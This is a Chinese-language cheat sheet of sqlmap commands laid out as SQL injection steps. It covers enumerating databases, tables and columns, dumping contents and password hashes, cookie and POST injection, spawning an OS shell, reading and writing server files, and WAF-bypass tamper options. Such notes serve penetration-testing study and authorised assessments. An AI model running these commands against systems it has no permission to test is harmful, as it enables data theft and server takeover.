一、sqlmap常用基礎命令
sqlmap Common operation command
以下命令順序即為sql注入常見步驟。
sqlmap -u [“url”] --dbs #獲取數據庫 sqlmap -u [“url”] --current-user #獲取當前用戶名稱 : sqlmap -u [“url”] --current-db #獲取當前數據庫名稱 sqlmap -u [“url”] -D [‘數據庫名’] --tables #列出表名 : sqlmap -u [“url”] -D [‘數據庫名’] -T[‘表名’] --columns #列出字段 sqlmap -u [“url”] -D [‘數據庫名’] -T [‘表名’] -C [‘字段名1,字段名2,…’] --dump #獲取字段內容
如果是Microsoft Access 可省略前三個步驟 且不需要-D參數
--------------------
cookie 注入 可添加 --cookie=["cookie內容"]
-
--cookie=["cookie的內容"] 設置cookie 值 通常配合獲取數據庫使用 --data 設置 POST 提交的值 -u 指定目標 URL -b 獲取 DBMS banner --current-db 獲取當前數據庫 --current-user 獲取當前數據庫的用戶 --tables 獲取數據庫里所有的表名 --columns 獲取表里的所有字段 --dump 獲取字段中的內容 --current-user 獲取當前用戶 -D [數據庫名] 指定數據庫名 -T [表名] 指定表名 -C [字段名] 指定字段名 --string 當查詢可用時用來匹配頁面中的字符串 --users 枚舉所有用戶 --passwords 枚舉所有用戶的密碼hsah --dbs 枚舉數據庫中的數據庫名
GET型注入一般用 sqlmap -u "url"
POST型注入一般用 sqlmap -u "url" --data "POST參數"
如果需要增加cookie或其他請求頭 可將請求保存到文本中假如為request.txt,則用sqlmap -r request.txt
二、sqlmap常用基礎命令
--level 5 探測等級(1~5 默認為1,等級越高Payload越多,速度也比較慢)
--is-dba 判斷當前用戶是否是管理員權限
--roles 列出數據庫管理員角色(僅適用與Oracle數據庫)
--referer HTTP Referer頭(偽造HTTP頭中的Referer,當--level等級大於等於3時會通過偽造Referer來進行注入)
--sql-shell 運行自定義SQL語句 用法:sqlmap -u url --sql-shell
--os-cmd,--os-shell 運行任意操作系統命令(僅支持MySQL、PostgreSQL、SQL Server)
--file-read 從數據庫服務器中讀取文件(要知道文件絕對路徑)
--file-write "本地文件路徑" --file-dest "遠程絕對路徑" 上傳文件到數據庫服務器中
--tamper "模塊名" bypass繞waf時使用 具體模塊可參考書《Web安全攻防 滲透測試實戰指南》P40~49頁